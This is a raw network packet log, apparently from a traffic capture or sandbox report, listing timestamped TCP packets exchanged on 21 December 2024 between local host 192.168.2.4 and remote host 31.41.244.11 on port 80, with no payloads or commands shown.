Dec 21, 2024 10:15:22.688632011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.689793110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.689855099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.689938068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.689990044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.690815926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.690874100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.690953970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.691016912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.692019939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.692065001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.692131996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.693125010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.693159103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.693186045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.693193913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.693206072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.693228960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.693240881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.693272114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.694173098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.694241047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.694310904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.694365025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.695379972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.695465088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.695525885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.696593046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.696657896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.696727037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.696785927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.697729111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.697830915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.697843075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.697899103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.698890924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.698946953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.699007988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.699054956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.700056076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.700205088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.700264931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.701276064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.701334000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.701380014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.701426983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.702462912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.702558994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.702562094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.702620983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.703655005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.703819036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.703870058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.704894066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.704943895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.705064058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.705111027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.706038952 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.706082106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.706222057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.706268072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.707166910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.707333088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.707382917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.708404064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.708497047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.839823008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.839962959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.840024948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.840332031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.840372086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.840396881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.840424061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.841531992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.841581106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.841708899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.841758013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.842921972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.842991114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.843069077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.843116045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.843837976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.844013929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.844062090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.845269918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.845307112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.845318079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.845352888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.846338987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.846389055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.846496105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.846597910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.847589970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.847626925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.847678900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.848248005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.848284006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.848298073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.848328114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.849822998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.849870920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.849947929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.849992990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.851078033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.851126909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.851206064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.851253033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.852149963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.852196932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.852665901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.852710009 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.853583097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.853621006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.853631020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.853666067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.854701042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.854736090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.854747057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.854779959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.855576038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.855729103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.855778933 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.856368065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.856404066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.856431961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.856461048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.857670069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.857707024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.857753038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.859430075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.859466076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.859513044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.860352039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.860399008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.860496998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.860547066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.860559940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.860609055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.860618114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.860661030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.861582041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.861632109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.861685038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.861735106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.862668991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.862719059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.862771988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.862814903 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.863859892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.864075899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.864123106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.865065098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.865112066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.865240097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.865287066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.866226912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.866271973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.866343975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.866396904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.867389917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.867496967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.867543936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.868582010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.868629932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.868752003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.868793964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.869874954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.869916916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.869936943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.869996071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.870934963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.870987892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.871165037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.872143030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.872193098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.872315884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.872359991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.873419046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.873464108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.873473883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.873518944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.874533892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.874579906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.874643087 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.874690056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.875736952 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.875791073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.875838995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.876854897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.876902103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.876974106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.877022028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.878031969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.878081083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.878168106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.878227949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.879226923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.879368067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.879424095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.880475044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.880525112 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.880541086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.880589008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.881591082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.881637096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.881709099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.881753922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.882766008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.882813931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.882870913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.882916927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.884032011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.884141922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.884188890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.885211945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.885272026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.885389090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.885438919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.886343956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.886392117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.886466980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.886513948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.887567043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.887780905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.887826920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.888895035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.888930082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.888941050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.888974905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.889977932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.890024900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.890034914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.890079975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.891073942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.891169071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.891194105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.892292976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.892340899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.892412901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.892461061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.893490076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.893537045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.893596888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.893642902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.894664049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.894711018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.894752026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.894797087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.895804882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.896003008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.896045923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.897008896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.897059917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.897145987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.897188902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.898211956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.898257971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.898360014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.898406029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.899410963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.899466991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.899527073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.900563002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.900603056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.030715942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.030778885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.030821085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.030868053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.031157970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.031214952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.031290054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.031440020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.032398939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.032461882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.032582998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.032634020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.033524036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.033730984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.033785105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.034708977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.034866095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.034869909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.034912109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.035943031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.035995960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.036000967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.036042929 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.037059069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.037115097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.037209988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.037260056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.038300037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.038350105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.038353920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.038403034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.039444923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.039498091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.039555073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.040618896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.040676117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.040733099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.040781975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.041785002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.041837931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.041909933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.041958094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.042974949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.043028116 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.043086052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.043134928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.044183016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.044249058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.044312954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.044434071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.045450926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.045504093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.045510054 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.045550108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.046526909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.046684980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.046689987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.046731949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.047736883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.047791004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.047884941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.048005104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.048929930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.048974991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.048995972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.049233913 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.050108910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.050153971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.050163984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.050235987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.051292896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.051331043 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.051485062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.051527023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.052515030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.052578926 CET	80	49781	31.41.244.11	192.168.2.4
